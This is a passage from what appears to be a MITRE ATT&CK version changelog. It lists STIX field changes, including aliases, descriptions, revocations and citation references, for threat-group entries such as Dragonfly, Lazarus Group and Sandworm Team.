| external_references[2]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
| external_references[3]['description'] | DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. | DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. |
[G0092] TA505
Current version: 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 20:27:57.195000+00:00 | 2021-12-01 23:27:44.104000+00:00 |
Revocations
[G0074] Dragonfly 2.0
Current version: 2.1
Description: [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )
This object has been revoked by [G0035] Dragonfly
Description for [G0035] Dragonfly: [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 20:07:00.932000+00:00 | 2022-04-15 22:05:32.122000+00:00 |
| revoked | False | True |
| external_references[1]['source_name'] | Dragonfly 2.0 | DYMALLOY |
| external_references[1]['description'] | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: Dragos DYMALLOY ) |
| external_references[2]['source_name'] | IRON LIBERTY | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) | (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[3]['source_name'] | DYMALLOY | IRON LIBERTY |
| external_references[3]['description'] | (Citation: Dragos DYMALLOY ) | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) |
| external_references[4]['source_name'] | Berserk Bear | Dragonfly 2.0 |
| external_references[4]['description'] | (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[5]['source_name'] | US-CERT TA18-074A | Dragos DYMALLOY |
| external_references[5]['description'] | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[5]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://www.dragos.com/threat/dymalloy/ |
| external_references[6]['source_name'] | Symantec Dragonfly Sept 2017 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[6]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[6]['url'] | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| external_references[7]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | Secureworks MCMD July 2019 |
| external_references[7]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. |
| external_references[7]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.secureworks.com/research/mcmd-malware-analysis |
| external_references[8]['source_name'] | Dragos DYMALLOY | Secureworks IRON LIBERTY |
| external_references[8]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. |
| external_references[8]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.secureworks.com/research/threat-profiles/iron-liberty |
| external_references[9]['source_name'] | Secureworks MCMD July 2019 | Symantec Dragonfly Sept 2017 |
| external_references[9]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. |
| external_references[9]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group |
| external_references[10]['source_name'] | Secureworks IRON LIBERTY | US-CERT TA18-074A |
| external_references[10]['description'] | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. |
| external_references[10]['url'] | https://www.secureworks.com/research/threat-profiles/iron-liberty | https://www.us-cert.gov/ncas/alerts/TA18-074A |
ics-attack
Major Version Changes
[G0035] Dragonfly
Current version: 3.0
Version changed from: 2.1 → 3.0
|
|
|---|
| t | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe | t | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| r espionage group that has been active since at least 2011. | | r espionage group that has been attributed to Russia's Feder |
| They initially targeted defense and aviation companies but s | | al Security Service (FSB) Center 16.(Citation: DOJ Russia Ta |
| hifted to focus to include the energy sector in early 2013. | | rgeting Critical Infrastructure March 2022)(Citation: UK GOV |
| They have also targeted companies related to industrial cont | | FSB Factsheet April 2022) Active since at least 2010, [Drag |
| rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | | onfly](https://attack.mitre.org/groups/G0035) has targeted d |
| works IRON LIBERTY July 2019) A similar group emerged in 20 | | efense and aviation companies, government entities, companie |
| 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | | s related to industrial control systems, and critical infras |
| /attack.mitre.org/groups/G0074). There is debate over the ex | | tructure sectors worldwide through supply chain, spearphishi |
| tent of the overlap between [Dragonfly](https://attack.mitre | | ng, and drive-by compromise attacks.(Citation: Symantec Drag |
| .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | | onfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citatio |
| org/groups/G0074), but there is sufficient evidence to lead | | n: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly |
| to these being tracked as two separate groups. (Citation: Sy | | 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021) |
| mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | | (Citation: CISA AA20-296A Berserk Bear December 2020)(Citati |
| Sept 2017)(Citation: Dragos DYMALLOY ) | | on: Symantec Dragonfly 2.0 October 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | |
| external_references | https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector | |
| external_references | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 22:07:18.072000+00:00 | 2022-04-19 15:04:26.829000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)
A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017) |
| external_references[1]['source_name'] | Dragonfly | DYMALLOY |
| external_references[1]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[2]['source_name'] | TG-4192 | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[3]['source_name'] | Crouching Yeti | TEMP.Isotope |
| external_references[3]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021) |
| external_references[4]['source_name'] | IRON LIBERTY | Crouching Yeti |
| external_references[4]['description'] | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[5]['source_name'] | Energetic Bear | IRON LIBERTY |
| external_references[5]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[6]['source_name'] | Symantec Dragonfly | TG-4192 |
| external_references[6]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[7]['source_name'] | Secureworks IRON LIBERTY July 2019 | Dragonfly |
| external_references[7]['description'] | Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[8]['source_name'] | Symantec Dragonfly Sept 2017 | Energetic Bear |
| external_references[8]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[9]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | CISA AA20-296A Berserk Bear December 2020 |
| external_references[9]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021. |
| external_references[9]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions |
| external_references[10]['source_name'] | Dragos DYMALLOY | DOJ Russia Targeting Critical Infrastructure March 2022 |
| external_references[10]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022. |
| external_references[10]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical |
| external_references[11]['source_name'] | Secureworks MCMD July 2019 | Dragos DYMALLOY |
| external_references[11]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[11]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.dragos.com/threat/dymalloy/ |
| external_references[12]['source_name'] | Secureworks Karagany July 2019 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[12]['description'] | Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[12]['url'] | https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | TEMP.Isotope |
| aliases | | DYMALLOY |
| aliases | | Berserk Bear |
| external_references | | {'source_name': 'Mandiant Ukraine Cyber Threats January 2022', 'description': 'Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.', 'url': 'https://www.mandiant.com/resources/ukraine-crisis-cyber-threats'} |
| external_references | | {'source_name': 'Secureworks MCMD July 2019', 'description': 'Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.', 'url': 'https://www.secureworks.com/research/mcmd-malware-analysis'} |
| external_references | | {'source_name': 'Secureworks IRON LIBERTY July 2019', 'description': 'Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector'} |
| external_references | | {'source_name': 'Secureworks Karagany July 2019', 'description': 'Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector'} |
| external_references | | {'source_name': 'Gigamon Berserk Bear October 2021', 'description': 'Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.', 'url': 'https://vblocalhost.com/uploads/VB2021-Slowik.pdf'} |
| external_references | | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} |
| external_references | | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
| external_references | | {'source_name': 'Symantec Dragonfly 2.0 October 2017', 'description': 'Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks'} |
| external_references | | {'source_name': 'UK GOV FSB Factsheet April 2022', 'description': "UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.", 'url': 'https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet'} |
[G0032] Lazarus Group
Current version: 3.0
Version changed from: 2.0 → 3.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.us-cert.gov/ncas/alerts/TA17-164A | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 22:04:58.182000+00:00 | 2022-03-23 19:01:20.193000+00:00 |
| external_references[2]['source_name'] | HIDDEN COBRA | Labyrinth Chollima |
| external_references[2]['description'] | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) | (Citation: CrowdStrike Labyrinth Chollima Feb 2022) |
| external_references[3]['source_name'] | Guardians of Peace | HIDDEN COBRA |
| external_references[3]['description'] | (Citation: US-CERT HIDDEN COBRA June 2017) | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) |
| external_references[4]['source_name'] | ZINC | Guardians of Peace |
| external_references[4]['description'] | (Citation: Microsoft ZINC disruption Dec 2017) | (Citation: US-CERT HIDDEN COBRA June 2017) |
| external_references[5]['source_name'] | NICKEL ACADEMY | ZINC |
| external_references[5]['description'] | (Citation: Secureworks NICKEL ACADEMY Dec 2017) | (Citation: Microsoft ZINC disruption Dec 2017) |
| external_references[6]['source_name'] | US-CERT HIDDEN COBRA June 2017 | NICKEL ACADEMY |
| external_references[6]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | (Citation: Secureworks NICKEL ACADEMY Dec 2017) |
| external_references[7]['source_name'] | Treasury North Korean Cyber Groups September 2019 | US-CERT HIDDEN COBRA June 2017 |
| external_references[7]['description'] | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. |
| external_references[7]['url'] | https://home.treasury.gov/news/press-releases/sm774 | https://www.us-cert.gov/ncas/alerts/TA17-164A |
| external_references[8]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[8]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[8]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[9]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Novetta Blockbuster |
| external_references[9]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[9]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[10]['source_name'] | Microsoft ZINC disruption Dec 2017 | CrowdStrike Labyrinth Chollima Feb 2022 |
| external_references[10]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022. |
| external_references[10]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/ |
| external_references[11]['source_name'] | Secureworks NICKEL ACADEMY Dec 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[11]['description'] | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[11]['url'] | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| x_mitre_version | 2.0 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Labyrinth Chollima |
| external_references | | {'source_name': 'Microsoft ZINC disruption Dec 2017', 'description': 'Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.', 'url': 'https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/'} |
| external_references | | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
Minor Version Changes
[G0034] Sandworm Team
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 21:46:19.437000+00:00 | 2022-04-14 15:09:52.498000+00:00 |
| external_references[1]['source_name'] | Sandworm Team | VOODOO BEAR |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['source_name'] | Telebots | Sandworm Team |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['source_name'] | IRON VIKING | Quedagh |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['source_name'] | Quedagh | Telebots |
| external_references[6]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['source_name'] | VOODOO BEAR | IRON VIKING |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | US District Court Indictment GRU Unit 74455 October 2020 | US District Court Indictment GRU Oct 2018 |
| external_references[8]['description'] | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[8]['url'] | https://www.justice.gov/opa/press-release/file/1328521/download | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[9]['source_name'] | UK NCSC Olympic Attacks October 2020 | Dragos ELECTRUM |
| external_references[9]['description'] | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. |
| external_references[9]['url'] | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games | https://www.dragos.com/resource/electrum/ |
| external_references[10]['source_name'] | iSIGHT Sandworm 2014 | F-Secure BlackEnergy 2014 |
| external_references[10]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| external_references[11]['source_name'] | CrowdStrike VOODOO BEAR | iSIGHT Sandworm 2014 |
| external_references[11]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[11]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[12]['source_name'] | USDOJ Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[12]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[12]['url'] | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[13]['source_name'] | NCSC Sandworm Feb 2020 | InfoSecurity Sandworm Oct 2014 |
| external_references[13]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. |
| external_references[13]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ |
| external_references[14]['source_name'] | US District Court Indictment GRU Oct 2018 | NCSC Sandworm Feb 2020 |
